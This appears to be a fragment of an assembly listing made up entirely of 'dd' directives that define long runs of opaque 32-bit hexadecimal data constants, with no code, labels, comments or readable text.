dd 2CE29538h, 0A93F4D40h, 434BD9DCh, 14E0E8F8h, 1A0A42Ah
dd 0F2EC286Ah, 0E2EBB7ACh, 0F1B48957h, 1803D990h, 3A89000Bh
dd 9D1EE383h, 109DAD0Eh, 36CB70h, 0B3381229h, 0FE7CE216h
dd 2066E900h, 4BA891DEh, 4032F759h, 1C54F400h, 1DF43E6h
dd 0AF3AF300h, 0F728B565h, 0EE92F219h, 80715009h, 26610193h
dd 0A48CDDEAh, 28C0993Ah, 886A94D0h, 0FB2597D0h, 11A0E537h
dd 0DDEF067Ah, 1F877F1h, 3FE76264h, 0F0FA3971h, 95C4ACh
dd 0A3FB3BB0h, 8F8498Fh, 59EBE302h, 0B0A45049h, 0F994859Ch
dd 9C804BBCh, 7502D52Bh, 0BCA46Fh, 0A2C16891h, 234B9230h
dd 4EDAF75h, 0BC8C12EFh, 0DF92C130h, 0F0070D20h, 0B1ED682Eh
dd 54DBEF0Dh, 0B8816021h, 8F755B92h, 3C80521Ch, 9081A4F6h
dd 0B398BEADh, 0E284173Eh, 23900C8h, 4B24E951h, 25E00E29h
dd 81401E8Ah
dd 6FE8C8CEh, 0FB602312h, 0EA88FC40h, 0C0113CCBh, 2CB9C659h
dd 0D800BF15h, 5DBE35E0h, 0A15AE238h, 216E1488h, 12987A0h
dd 80501182h, 0C1AF9823h, 0D4DF9091h, 0A4E18102h, 9AE6D349h
dd 2AD0E9E2h, 0C788718Ah, 9CCC0114h, 3F3DFBBFh, 367C6C91h
dd 23639D00h, 1D4104FCh, 0E1E4992Bh, 4C3B6E3Dh, 0AD163023h
dd 15BE5503h, 2D41A80Ch, 9017B89Fh, 8844A134h, 42585ED2h
dd 0A255CF90h, 893093E4h, 7898F39Ch, 7A03C039h, 45B98986h
dd 0B8E8E508h, 1080068Fh, 0EB2507A3h, 35F02327h, 0FD378214h
dd 0F3855306h, 51C4020Ah, 684166FEh, 3DC717E3h, 0CE0B0391h
dd 646E2Eh, 0DC742F9Fh, 5D4AF2CFh, 0D9B87C3Ch, 70F87D07h
dd 0E84CEB39h, 80465F99h, 0EA6AD670h, 68435927h, 608E1680h
dd 48AD41ABh, 0E006B44Ah, 2117D2AFh, 4BDC7A19h, 0C74C023Ch
dd 0EC642A15h, 10D0E34Eh, 2C98F35Bh, 0BA01299h, 0CC638097h
dd 9834AF8Ch, 5DE0ACB6h, 0ACB07286h, 14133F70h, 1CB2C424h
dd 0A27710h, 9289DDD5h, 0C98BA422h, 7474DC08h, 111064BAh
dd 70D46EBEh, 5D697F00h, 0F2667871h, 4EEFECE2h, 0C84C8BE1h
dd 0AC40C04Dh, 24F239F7h, 0B956A509h, 91507B25h, 2241050Dh
dd 0C420AA42h, 8016188Ch, 642D9790h, 64F0E77Eh, 93566057h
dd 70289801h, 32ED0119h, 0A792E8A8h, 34C26B3Bh, 0E22C5E24h
dd 0F109181Ch, 0A0F6001Ch, 2B444A5Eh, 46832E24h, 4204542Ch
dd 0B482F70Eh, 1943211Eh, 0B579306Ch, 0A248BF00h, 39B879ECh
dd 124000FDh, 0D7E6D9Ah, 0ED3C2BEFh, 710C9291h, 0DA1B4BCh
dd 1BD800A6h, 891D67E3h, 983930A5h, 370B9F45h, 9E150B8h
dd 442C7180h, 20A257BBh, 5B3022F2h, 83C20BF7h, 740278FCh
dd 0C70519B8h, 5EB824BDh, 3BFCA300h, 38DD5B25h, 8C10959Ch
dd 0B00040B7h, 0EFD2CFA1h, 3F4784Ch, 9AD5F631h, 77B8ABEDh
dd 0DE3EEC73h, 4B1ECCF0h, 0EB290802h, 591Bh, 0E7A6019Ch
dd 5C00D48Dh, 347558E0h, 5A7A9CEh, 357DF14Fh, 2804AB83h
dd 0F121AF8h, 4B911B6Ch, 1ADD4C92h, 0D1CE1065h, 0F0B7C487h
dd 0AC0F6AB3h, 417BA602h, 7B452798h, 0FF72D0CCh, 16EF6200h
dd 0ABC9FCA8h, 7A1404E9h, 0F0AFA7EAh, 6D4F08A0h, 310178A2h
dd 8126EB77h, 61E03E5Ch, 0AD2F02A0h, 92C1F014h, 304C7062h
dd 0B4D8F20h, 7C4775E4h, 0A45644ABh, 41FD00DCh, 50C41958h
dd 3A7C178Dh, 0F13E80B8h, 0D0DAA559h, 7CB17C0Ch, 0F8ED00F4h
dd 7A12E0C4h, 0A3CD8D7h, 0E9717C6Ah, 37AC715Ch, 8D01181Bh
dd 1080BDC0h, 720CE2CDh, 1405DC97h, 0DE52D40h, 0A4E2D817h
dd 24301EF2h, 209CB85Eh, 3F22116Ch, 0A504120Eh, 0D10C822Dh
dd 0A161E856h, 13E44277h, 2595004Dh, 3B66AD21h, 86034A03h
dd 298A332Dh, 0B8715891h, 0D7DDFBC0h, 1EECF2Bh, 0CB656877h
dd 4F114E0h, 0E5F0C32Ah, 0CD66E801h, 0E0D3DE6Bh, 7289606Ch
dd 0B793859h, 162FFA18h, 5108EA8Fh, 0FDC900A0h, 964B1F99h
dd 0C291524h, 5FC24345h, 5A98564Ch, 4AD4FCD6h, 0B8EE81Fh
dd 5C18BCDFh, 947125CCh, 4723DC01h, 0C60028C4h, 0C85AF073h
dd 37A040E7h, 67B869FFh, 2F93F107h, 82C9B98Ah, 4186FFCh
dd 0B017BADCh, 2DA06CF7h, 0C31D764Dh, 0AA56854Ah, 90CBA820h
dd 12444A0Fh, 9B8E200h, 0A29B8041h, 90DF1404h, 37681BC0h
dd 0A7315177h, 4C71C9D3h, 0A182FD9h, 23B2D412h, 0A033510Eh
dd 0BFFC2F7Bh, 2E0BA8Bh, 4416C422h, 4C6ABE93h, 0F4847Ch
dd 79E17E14h, 923F9E57h, 21173C30h, 731F370h, 6033C9DEh
dd 8250D00Fh, 2327C361h, 0D1C4F904h, 1361821h, 0EB6AA75Eh
dd 0FCCC3F1Ch, 0D05ACF93h, 7DB4ECC2h, 0E3111810h, 790088FCh
dd 0A346E95Dh, 1266641Ah, 0E6B43854h, 0FE20E0D8h, 35EC049Eh
dd 0EA5474BBh, 0A443C1Eh, 0F0E9BF26h, 7163B200h, 6E3E146Fh
dd 14B0CC4Bh, 7C8002DBh, 4EF9013h, 0D1256456h, 68448014h
dd 1AD03938h, 624D412Fh, 0F45062B4h, 5F48FB4h, 0C20F9F2Fh
dd 0F0D0F617h, 781E5E15h, 0AE9A00D7h, 8D0B5B49h, 0FB122768h
dd 0D0ACC43Bh, 0CE37009Ch, 5EEB1184h, 0DA308F5Ch, 5EBC7421h
dd 0CD3A5646h, 0BB884305h, 5E44ED7Eh, 16CADC43h, 9D319689h
dd 0BAC064EDh, 0C732C9h, 6AE92BDAh, 0C27A446Bh, 5C657329h
dd 881855D9h, 0A3435925h, 8CA7FA04h, 0A5081EFAh, 985660E7h
dd 208904C0h, 0D03B83AFh, 95658218h, 3D00D971h, 0AD2BCE98h
dd 0F422EC39h, 0E0F51806h, 0C279F10Ah, 0DC00C4F4h, 80DF6A83h
dd 0C817F3h, 82B4E0F8h, 46977D0Ch, 22046C9Dh, 3F4C7F47h
dd 68D3800Ch, 34E656h, 0D821503Eh, 0E32A068Bh, 808CDD13h
dd 0D808A8C4h, 77F7805Fh, 0AE5C84E7h, 4ABFEF1Ch, 0C0258EC2h
dd 0E47C5E46h, 0E96A44B7h, 923C31BAh, 0F0B4F060h, 88E41D5Bh
dd 0DCC040EBh, 29D69471h, 887430A8h, 72688C3h, 918ECC5Eh
dd 0AA0CC068h, 950524CAh, 55915817h, 0BC18478Bh, 3B01C4B8h
dd 278EFD5h, 32FD209h, 83A4910Ch, 3A1658A8h, 921764F8h
dd 0C120B51h, 0C71CB4BCh, 5F4B0EDCh, 9CB60253h, 0C69FF47h
dd 2C302B0Ah, 5758E93h, 0F8D705C6h, 6C7AEBF2h, 1055790Eh
dd 6C977BE1h, 0AC9C2E19h, 0CAC10DCh, 0B144A32Fh, 712E37B0h
dd 6DBF22E0h, 7CE34EA8h, 1C471A7Ch, 0E8561805h, 0C000CD2Dh
dd 1D0F4487h, 0F08C7627h, 90FB07ACh, 0B440EE11h, 2AD7046Bh
dd 5588A4CEh, 588154C4h, 280123F4h, 5171F897h, 0CD976498h
dd 0BE62C030h, 0F313718Fh, 88949940h, 6546EFFh, 290F9D42h
dd 1441E06Ch, 0A4AAF04Fh, 8C2FE8h, 13547C61h, 7780F15h
dd 1A013102h, 7DC65B46h, 52DB8A2h, 11F8B557h, 0EB95802Fh
dd 50FC458h, 3D54E7C6h, 97D8C13Bh, 4FD86D36h, 8076B8E5h
dd 5010EFE3h, 191C3D2Bh, 35C4448Dh, 28BC78h, 5D17364Bh
dd 49BC1524h, 9284A430h, 0ADC884EFh, 7E2B17B4h, 1DB248B3h
dd 78AE8330h, 80045881h, 6B21403Eh, 56FC6710h, 0C332028Ch
dd 0A6B398C0h, 0F1831CFEh, 755E73D7h, 0D37129h, 0A3DF89DAh
dd 0E124F8ACh, 5423472Eh, 0DCE9151Dh, 0D405982Ch, 8430CA9Eh
dd 122BB58Ah, 0F373712Ch, 0BA400238h, 6CD40F29h, 53B490BCh
dd 0E44AE07Fh, 4713EAF8h, 0C0D13F27h, 25022E50h, 12E86A07h
dd 0B038E660h, 0B0911993h, 80E91278h, 0B2E4E669h, 0E72300Fh
dd 0B0FC6D07h, 0B9EDA612h, 90FC802Bh, 0A7223A8Ch, 0B18A000Ch
dd 71041059h, 3599885h, 0DB052720h, 5660D84Ch, 82448000h
dd 3CA5F2FFh, 0ECE2958Ch, 7CB7DFh, 6DBE394Bh, 0EB1D1D44h
dd 984362B7h, 0C29024D8h, 587C7B61h, 42014DB5h, 0E7313AE6h
dd 6ED4C245h, 0B7231661h, 0EECF8E4h, 42A9BC16h, 0DE589B98h
dd 23467608h, 0B6D25900h, 0A23B43EBh, 0E35E88E6h, 80D5E8C3h
dd 4A209D91h, 0B270B322h, 0BA4A301Ch, 62EAF500h, 0F3750833h
dd 0D49D95F0h, 2C803611h, 31F68F8Dh, 0CC00C15Eh, 0ED60663Dh
dd 169B011Dh, 0BB98BF5Bh, 2EB02137h, 0F7802CDBh, 0D203418Eh
dd 468C4409h, 8947C67h, 0D7052488h, 0B8ACB391h, 7A08E24Fh
dd 0B6248109h, 0D3A2002Dh, 0B3FA104h, 0C51FD965h, 78598389h
dd 33184CD9h, 0D6A87E00h, 0E0594F5Ch, 14DF0541h, 0FB0335C1h
dd 323DC3Ah, 0CDE77600h, 128267E3h, 0C83079D0h, 0A2004AF8h
dd 0FD6FFAFCh, 982B41BAh, 80F05538h, 0C890CB3Fh, 7F00C908h
dd 0F010F793h, 0BF098198h, 0D9CF8A90h, 181CD9D8h, 0CDE21F04h
dd 825B4520h, 76C44039h
dd 0D9563134h, 0ADBA9200h, 1737489Eh, 0FFB600EEh, 15E00506h
dd 0C225EAE8h, 97DC7B89h, 0F6A856FCh, 0FE98E084h, 8EE8038Dh
dd 0F9A3D15h, 8480B14Eh, 2D09BCB6h, 0AC172560h, 0A3802391h
dd 5787228h, 8D0C4402h, 0D7C41C16h, 0F4CFB083h, 416B098Ch
dd 0ED93D7Ch, 0C9ED4040h, 7A1502E5h, 0F1E6264h, 0A6048050h
dd 4449A726h, 9A9474EAh, 3F61C024h, 3A3C4025h, 9008E21Ch
dd 85077DCBh, 80C3FD91h, 6D302F58h, 4B0E50A0h, 375B4130h
dd 0F3A024B7h, 0D9026C24h, 3D0A7E54h, 67F456A4h, 2C3EA870h
dd 0BC602C9Eh, 7E926494h, 59A40077h, 8291F360h, 817E44DFh
dd 50E6875Fh, 6E7969F0h, 30910A00h, 9C0DA82Dh, 1AC7259Fh
dd 68CB2881h, 2F5068B3h, 144495h, 5CF98B7Ch, 7433664Dh
dd 0E1BC5D0Ah, 5605D81Ah, 20E2BA4Ch, 3B300BF2h, 914501B9h
dd 0B244169Eh, 64352F67h, 3FB918BDh, 0C82B8C99h, 3C7F8A9Ch
dd 1D13AC1Dh, 28F19F93h, 203FF4h, 0B0DF38BFh, 0DE15C7F5h
dd 96E0A097h, 7E09EB4Ch, 644C9795h, 7461C0Bh, 0E2587424h
dd 64D405BDh, 68F70E3Ah, 6CAD52FAh, 0BA7F6EBCh, 161B5F16h
dd 0E7884CE9h, 0D23A4B80h, 40E3E19h, 98C3AAB5h, 440FEF93h
dd 0B43CF6Fh, 69506077h, 68C30D3Bh, 0EC104B9Bh, 0E6254D11h
dd 4600D236h, 0A37317F3h, 5A03B8D0h, 5D240043h, 659A20A2h
dd 911649A4h, 58BC6D98h, 0C4974381h, 24203F12h, 60C380BEh
dd 824A707Fh, 651692C7h, 0FCAC4459h, 0C0C39782h, 0A0D50703h
dd 4EE9ECh, 0BEE131B2h, 8E9B914Ch, 48DABF02h, 230C3C24h
dd 0FAC4EF90h, 0F798B046h, 4A927CF9h, 91E000A4h, 7C9B17B0h
dd 0A14A9A05h, 4BA4641h, 0AF02924Ch, 825DEC48h, 11A4ACDCh
dd 81383C02h, 126CDF34h, 36E3D00h, 24EB250Eh, 442A8914h
dd 12003A0h, 5DE77849h, 5007882Eh, 8EB08D0Bh, 70C688Ch
dd 491FBE1Ch, 1150B45Eh, 0D0E581AEh, 1A443C75h, 61370E17h
dd 85E0DC8Ch, 0FD862659h, 0B90231FCh, 0BE142E9h, 0E07AE3h
dd 581D3998h, 635B345Dh, 8F001FE2h, 0C604ABDAh, 25B82920h
dd 501D61E5h, 7B801E11h, 7C8F43AAh, 9C02889Ch, 52303747h
dd 0A46C44FCh, 3904D00h, 0E1F3EA86h, 0E3A0C61Fh, 618A915h
dd 0D762CBF6h, 0DFA603F7h, 7BF18711h, 8F7749A8h, 0F0DDC012h
dd 3A26CCBCh, 26326190h, 0CE286467h, 0A59F6098h, 0A824F11Ch
dd 8D8888ABh, 2F322600h, 0FCDCC53h, 169C00A3h, 7FAF706Ah
dd 173E9BE4h, 1B4CC64h, 0F94AFBDAh, 49929009h, 0DD3CF3CAh
dd 850F8C29h, 2B92C0ACh, 1EB41A0h, 29619199h, 0E8ADF287h
dd 6701A35Ah, 30DF936Fh, 8D6E68F8h, 0D3883828h, 0CB0078F2h
dd 0E690F7B5h, 7EC0752Fh, 0EC68DE2Bh, 0B971892h, 0BF2230C5h
dd 0FC384C2Eh, 0D9BEE443h, 894EA08h, 0CA745C90h, 12DCDD10h
dd 0C03EAAF0h, 2F250E23h, 8360A224h, 4498DC5Fh, 0A7EA44F0h
dd 29A0E3C6h, 3A493B1h, 32A34612h, 79DE1825h, 33C70228h
dd 0B8DEF4EEh, 87A4640Eh, 5D06989h, 5E60BE8Bh, 7420209Bh
dd 2F846B02h, 3879C7ACh, 441850D9h, 12E6D63Bh, 0E4952515h
dd 29148C82h, 0DF40A856h, 512536Ah, 0B7661ED4h, 60CF820Ch
dd 24549957h, 791AFE02h, 1834590Ch, 0F21800F8h, 0FADC918Bh
dd 0E5B51A4Ah, 0EB808B8h, 1AB66200h, 2A93D1D8h, 5A8C0CF7h
dd 6BE4B16Ah, 0AFA5A080h, 0A01B6998h, 2303D456h, 2D43FF88h
dd 5C781350h, 9885EF4Eh, 0BEB84CB9h, 0D0E81516h, 0C4919C1Eh
dd 0A993D0Ah, 405D44A4h, 210E9EFEh, 6F90725h, 0C1D3A048h
dd 0C144DDEAh, 0CE72A29h, 9AD774A2h, 40B7F774h, 1079D24h
dd 0E86050ABh, 52BEC62h, 5813F2FDh, 0FC588847h, 32DFA710h
dd 9441717Ah, 90652F54h, 806002E4h, 0E6749BFDh, 0DB70B216h
dd 0A2A79804h, 79E9EF00h, 0AA02F043h, 71385462h, 807E57h
dd 7F2EEB48h, 0FF2FFE1Bh, 61C8ED3Ch, 2AF1DD61h, 2CA23474h
dd 7D3053B2h, 0EB780497h, 0FF372D1Bh, 852ACC30h, 97DA1202h
dd 0D6E4B94Ah, 4EC8A8CAh, 3E70EBC0h, 0A9F00003h, 0CC7E7D44h
dd 809FC7E0h, 0CB47F27Ch, 0F8969525h, 4398CDB7h, 1C89AF0Eh
dd 0F856DE43h, 14EDE264h, 0A36513h, 38BF59ADh, 0EE0017E9h
dd 7E0BD823h, 4B90189Eh, 0E4A8803Bh, 92166A0Ah, 544407BFh
dd 0CA404058h, 332215C4h, 100A30A1h, 0E05F8Dh, 0A8EAB6E8h
dd 718E67D3h, 9D006979h, 0B126BBA1h, 95C473F3h, 747CF4CAh
dd 413E00F4h, 0F5D50982h, 8D008BDBh, 56BF6787h, 9791A295h
dd 90435410h, 0B45AAB2Eh, 44A9A096h, 6A009CB8h, 511E507Fh
dd 3759E824h, 10F91F41h, 158EE31h, 926D70C1h, 823E5747h
dd 1466DC74h, 0E7202898h, 4221737h, 0B9D0F91Bh, 1C4C1E8h
dd 99BBE2Ch, 0EC441663h, 0D82ED7B5h, 2860AC11h, 0A57114h
dd 40C2247Dh, 8D1F5B1h, 3ED71F00h, 1EBF7D9h, 0D4E0B56Dh
dd 361FA78Dh, 0EAD27213h, 9C1423AAh, 0C1679D0h, 17484107h
dd 0BB491Fh, 7BDE3075h, 0ECEE1F3Bh, 934D752h, 5CFCB462h
dd 98BC25DCh, 3159307Bh, 21011518h, 0CAEBCF26h, 0D88E1A02h
dd 99C0D538h, 659D3B54h, 0EF006273h, 1D291B48h, 9F393018h
dd 0B5C0D0EDh, 28D594h, 0CB4BB38Ch, 90B2B98Ah, 9811C99h
dd 45736021h, 4B274024h, 0C834E137h, 88289197h, 5911DC7Bh
dd 0B9051BBCh, 1EFEFD45h, 0C46A84CCh, 2528ECE5h, 0D60456F0h
dd 0AF0D4100h, 3C803474h, 0E0DCF8B1h, 0FA0C1F8Dh, 0CF60CB0Ah
dd 7D010858h, 4D4A910Bh, 0B4365AD5h, 0CE790900h, 62640DE5h
dd 6B30D004h, 6CF6F0C4h, 95AA41E0h, 0E044301h, 7EEF8019h
dd 0C4DC1400h, 491818BDh, 0F016972Fh, 4E0C195Ch, 25E40091h
dd 2030DC2Bh, 0F8E949D6h, 0A100EEB8h, 3A5054D8h, 0C04873C1h
dd 4D955879h, 3E3C7ADAh, 0C5652514h, 0B0D19090h, 0B3AD715h
dd 0E9273BA5h, 0BB59A074h, 7A4D190Bh, 21A02229h, 0B2EF518h
dd 0B074CBB4h, 80A0792Dh, 928BDC0Ah, 70BEBFA7h, 0DCD47425h
dd 0ACDD9D09h, 2574DECCh, 12440871h, 0B64EE4FCh, 0B282E37Ch
dd 10945769h, 1817404Ah, 5DB8F8FDh, 9C0D4401h, 7C19492Ch
dd 0A649D2Ah, 0C01C8854h, 0F98135DFh, 0A81E64B8h, 0F0DECE6Bh
dd 66253326h, 9C97B5DCh, 0D860B91h, 0CD1C50C7h, 9784EB23h
dd 60B92724h, 50E8E0D0h, 0CEBE008Ch, 0E102FFA9h, 0AAF824C5h
dd 8C16CA12h, 4982CCA4h, 871F7C3Ah, 0AFEAC0A7h, 0AE9C8A11h
dd 7D009FF2h, 0AB8F1F43h, 0D61488B7h, 0A8888598h, 5FAD8040h
dd 0F54B4C0h, 168C3ACh, 0BF760801h, 0F43DCC14h, 71939112h
dd 259C10F4h, 0D879C3A7h, 4BC2344h, 8044ECD7h, 262BEA4Fh
dd 0F4B51522h, 9828C29h, 0B06498C3h, 402FCCB8h, 91AC1D1Ah
dd 0AB418002h, 76BA71F1h, 231C0B6Fh, 40404B98h, 86252092h
dd 0F4407E27h, 0B57E7500h, 0BC387850h, 8CDD0946h, 347B2B1Ch
dd 0C08C6DAFh, 0ACF1DF40h, 2293F902h, 57354B1Bh, 426BC480h
dd 0E797489Ah, 6031444Ch, 212D2D0h, 0CCBD807Ch, 407282C0h
dd 8033C13Eh, 39CB32F4h, 32E5F3Eh, 7F380192h, 0C2C8456Dh
dd 9713A3BFh, 0A0F427DCh, 0F6B9C059h, 9608F8D1h, 90B00D00h
dd 751DD032h, 641C055Dh, 0CE2A1A93h, 0C4028828h, 586CF6BEh
dd 4AE13930h, 1DC8648Eh, 0C0DF88C0h, 16E89E34h, 7B38A18Bh
dd 0B5FCC8h, 9D7AC0D5h, 4D5D2DC8h, 520E6900h, 85D28BD3h
dd 0BB4727FAh, 6F442448h, 8AC0A4Bh, 258C09ECh, 185022F2h
dd 2383797h, 0A096160Fh
dd 340824D9h, 0B4732D2Eh, 0E8185759h, 0FB084E6h, 0E52F6B25h
dd 0CCD3A590h, 0AE4F50h, 31025ADAh, 0BBC2F674h, 79A17230h
dd 2EF537h, 0FEC16198h, 0C22C918Ah, 26BF09Ch, 15F8718h
dd 6ACDDD9Fh, 89CE18C0h, 0F8B59FF0h, 0EA62DA87h, 2BE01F70h
dd 507662BFh, 40FC3FD1h, 7DE48A80h, 0ECCE279h, 0B7D633FAh
dd 1B8FF422h, 8200455h, 23B46BAFh, 792D0E1Ch, 3A02BA13h
dd 60C412B5h, 97F028A4h, 0C84008EFh, 2DDC5241h, 34D966F4h
dd 4B483047h, 4050685Bh, 41D70720h, 0BFF1DA2Ch, 8DF9321h
dd 3C8B2E14h, 0A1CCA64Bh, 4BC05B1Ch, 78C42756h, 923C0446h
dd 3408ABF7h, 0CAB29001h, 8428E388h, 5200204Fh, 0D1001BB3h
dd 5845D8BFh, 5BAE4E7Dh, 2104B789h, 1435A709h, 206F1207h
dd 0D3004C67h, 1C0987h, 0D7E92A8Dh, 778F9256h, 0EC0C2D59h
dd 629700CFh, 507FBBCCh, 0C3020161h, 0E0B8524Bh, 0B6856CBh
dd 0F4749C7Eh, 0B776A58h, 0C4AFA307h, 90486C5Ch, 0FF144641h
dd 0ED087FCh, 991F2338h, 0BA947204h, 0ACDD0C01h, 706437E4h
dd 50ED9F4Bh, 0C0089EC0h, 0E1AE12A3h, 0A8EF091Eh, 12B0D479h
dd 21E932h, 41B9BA74h, 9AD72CC3h, 91E017BFh, 3498824Dh
dd 2217C08Ah, 0B0943012h, 4BA79248h, 0C42C089Fh, 48B72Dh
dd 0B17F0B44h, 653C6E3Ah, 8F340ADFh, 0A7059080h, 65BA2EB3h
dd 0A894F990h, 0FC2F0440h, 0AEDA6C7Ah, 90E70020h, 0FA450051h
dd 0ED6389A6h, 1A16DC36h, 0B8B8C26Dh, 0BCF8A94Bh, 7B4B24ECh
dd 8C792D91h, 4284071Eh, 40C55362h, 146EBFh, 9F5470B5h
dd 952115D6h, 7D1124E6h, 0DE8357FBh, 8789A7BCh, 0F01876C4h
dd 399A0EC5h, 0A8263F9h, 0F380BEF8h, 9BC82277h, 0D6885661h
dd 554E5202h, 820F03FFh, 291A7FF0h, 7734B957h, 1BC0D869h
dd 0E551D37Ch, 86191113h, 34D9C900h, 3EF305F6h, 3C8022BEh
dd 45B9D4C8h, 0E497D76Dh, 0BD511678h, 0D1F30538h, 85D8B859h
dd 0C88A1A7Bh, 0BDCC885Eh, 0CE354E00h, 4B79855Ah, 1520064h
dd 98B49EA6h, 0EF269177h, 6D84A00Ch, 40BC673Ch, 1FD401E3h
dd 50402426h, 0BB51081h, 0F0C2D0FFh, 46091C37h, 0A5287901h
dd 2140DC50h, 0A8E29519h, 254377Dh, 1A4376D3h, 0E8CD91E0h
dd 0E58104BEh, 4C9265AEh, 4B9C66F4h, 0FEF4952Fh, 0B81CD06Eh
dd 2DD7281Fh, 0E879D4BDh, 45D0DC8Fh, 9CBD3C05h, 0E0CC2BADh
dd 0DC31042Ah, 0EA68CA89h, 0D4DB5094h, 0FA20C7C4h, 69ADD005h
dd 0B4A7A483h, 0AC7C7204h, 0AF44095Ch, 1E60F88Ch, 12220A77h
dd 396C4070h, 269559FAh, 433B6E0Eh, 38F07368h, 3D0B09C1h
dd 9C740D9Ah, 2883F784h, 812888AEh, 2CC8C897h, 46E21CE7h
dd 1F36006Ah, 0DD1B968Dh, 15C6790Ch, 4A93126h, 0F63B6441h
dd 5AA4B8A8h, 0C084ECE1h, 0AF1CE146h, 97234C07h, 1610C139h
dd 4185ABD9h, 0F85F1EB2h, 8041C330h, 0AF10E0Fh, 58FBCCCEh
dd 0CF9154E0h, 10CB6070h, 0FCDC44E3h, 0D84058C9h, 0C183F10h
dd 2110E314h, 0A5CB00C7h, 2C439290h, 6609E168h, 12D33F1h
dd 278C471Ch, 0A1E4D26Bh, 8A256501h, 68604421h, 9733024Fh
dd 5A1B903Eh, 8BDEA04h, 909D4122h, 0EE64A0h, 0F03E6E2Fh
dd 1D74CBEDh, 7C992A01h, 0AD53FE37h, 0E060033Ah, 0C13D0ADBh
dd 60409291h, 9006ECE9h, 0E81CD0DFh, 2D62643Eh, 1104D199h
dd 0D8925EFFh, 41A424Fh, 78C1CC18h, 220034BBh, 3840B0B7h
dd 0DF910CC7h, 4A281A88h, 0BAC3E0Ch, 1CAB9E3h, 0C530BF90h
dd 78100F39h, 268317A8h, 9E24F8D0h, 9DC14BF7h, 0BCC038E0h
dd 35008C08h, 419391D6h, 9D3B4320h, 0B4B32C78h, 0F7478h
dd 3FCC0B56h, 129DF7B3h, 7F681B09h, 0B08704Fh, 979CCF8Bh
dd 0AD920CFCh, 0C85E38E2h, 78000D50h, 7B31FF22h, 2377092h
dd 3471AB0Fh, 37FFF87Ch, 0C99D0720h, 10ACD229h, 0EA9FBC81h
dd 94F02A48h, 0A2BD55h, 0B57D61B6h, 807C8EC8h, 0AEA255C0h
dd 3A901569h, 0E2247490h, 51AF2C4Fh, 182F796Ch, 0E588007Fh
dd 0A835FE09h, 0FF0B915Fh, 40778F9Ch, 0BF425E20h, 9F609CEFh
dd 3A1A2580h, 3BA740CBh, 0EE3A1002h, 41F020DDh, 845D7388h
dd 0D41496h, 0BC43969Eh, 0ACC9FF0Dh, 7C840A5Bh, 9C08CB8h
dd 0AA636043h, 958A68C7h, 625BBF52h, 56945C66h, 7CED3C4Bh
dd 0B4001FACh, 0FD0177BEh, 5DCF0F4h, 15963A8Eh, 4060BBA9h
dd 0EA92AEh, 0D0FE346Ch, 16856EBEh, 21528A31h, 203BCE09h
dd 0D0A40A00h, 6F14BA0Fh, 2FBB00FAh, 0BA63D2Eh, 0EB2AA352h
dd 479A7800h, 2C9C3F33h, 3AAE942h, 57B12BEFh, 0BCD17EE0h
dd 58716AA9h, 91F86180h, 4458DA01h, 0BC130D00h, 937BEDE2h
dd 0CF460355h, 97253622h, 1B5F967Eh, 0D8B8B812h, 4F4107C0h
dd 78918B05h, 1260B4D3h, 9E012ABAh, 0D7F089E0h, 0B02B6A3Dh
dd 0F6BB8C0h, 0C4986671h, 0ABA60BE1h, 9182D09Eh, 0B05E4AF3h
dd 0C4C10A64h, 0E32B0E34h, 300DB2B4h, 4F045BBCh, 9C3A97FCh
dd 1AC110E8h, 10BE2714h, 18396664h, 411DE0C0h, 1200C190h
dd 714528B3h, 12176196h, 0BCC27B09h, 0C06E5A88h, 5A7016h
dd 0D74F617h, 6013C6CCh, 0E0914F8Fh, 4A002458h, 0DC0C0E44h
dd 0B02084ACh, 5952021Dh, 0A90BD046h, 43798CD3h, 56EA3031h
dd 607E52E0h, 805109DCh, 5C5E740Ah, 40F84F2Dh, 0EDDA92BCh
dd 9BF02C12h, 58A843EBh, 294C1942h, 1ACF11B8h, 0BD984717h
dd 208A9754h, 0D0C04DC8h, 154F98Ah, 9DBC53AFh, 404159E1h
dd 0EF961C38h, 13540h, 55B9D98Dh, 692EEB4Bh, 19730712h
dd 96E0D0F6h, 1B04F416h, 3CFFD748h, 4DA040FAh, 202CBBA8h
dd 86D0A007h, 0B2744E7Bh, 3204DDABh, 3035E204h, 742E3328h
dd 202FC477h, 1CBFC748h, 3C70B878h, 1384738Dh, 404D8EEh
dd 0E4BCE8E3h, 48C04C48h, 6A80B010h, 32FA790Eh, 517180BBh
dd 87E9D6h, 9ADD17B6h, 0B7279160h, 9294E89Fh, 0CBE11704h
dd 0F838B80Fh, 73008C02h, 0F23F3228h, 270DB118h, 40E89D3Dh
dd 782CCE38h, 68826802h, 57E4EDA3h, 28E00CEDh, 6548835h
dd 4559E3CBh, 66B78913h, 974213B4h, 894E9F4h, 13CBB38Fh
dd 4DDD0707h, 3775C923h, 0BA7612E8h, 0FCFCB416h, 0C46DDC27h
dd 4987114Eh, 0BDF4704Eh, 953C3970h, 2A12FDD0h, 5405CAEDh
dd 943A1B04h, 7A001F23h, 6040F411h, 80A74B93h, 3F76D0B0h
dd 7290D60h, 7A3D3ECh, 6A8DB438h, 0D771D364h, 96B8EDDBh
dd 92EADC9Ch, 0C24F4712h, 8B8898A4h, 345F97F9h, 903B0154h
dd 6A487237h, 0F555C098h, 124D34Ah, 88368F8Ch, 2AD1B4D7h
dd 0F7D60C8h, 66070B7Fh, 4F89EAC0h, 0A203BEECh, 3EA468EEh
dd 0C22AF045h, 1C379530h, 0C5399B00h, 30AE56Ch, 0F92B917Eh
dd 3F24EECh, 5B6B945Eh, 0F441719Ch, 7B0261FAh, 15C707BFh
dd 0E05AD8h, 11890A8Ch, 2613CE7Eh, 878206FEh, 0FC0BDAE4h
dd 0E4ED4918h, 771BF6C0h, 8088B1B4h, 0ADF54B74h, 9609A699h
dd 856E5D9Bh, 12ABE828h, 12A8E378h, 1CA44858h, 0B48F5C16h
dd 60E296h, 0A0D4C520h, 48B62ACh, 0EBB16FE7h, 50DAEF3Ch
dd 0A24FAC0h, 800F9B43h, 0DF4DF85Bh, 0A94B0210h, 64A64A20h
dd 72FA66F0h, 0C9142012h, 82409FAh, 0BB0884D9h, 792D34h
dd 233F6A44h, 0AFB20034h, 0C4CE1199h, 2AC8194Dh, 403BA812h
dd 0C9C10077h, 0D7D8DD78h, 0D6265850h, 3C790A2Dh, 931809D9h
dd 2A8F960Fh, 0EF91A285h, 84F478h, 5A16F77Ah, 0D995DBCAh
dd 2D7E6470h, 0B02B19D5h
dd 664AA960h, 61DCCCF2h, 0EBD50261h, 212D289Ah, 42DD1803h
dd 0C679491Dh, 3CA28813h, 4A92CB09h, 0E8227804h, 8C1CBCD8h
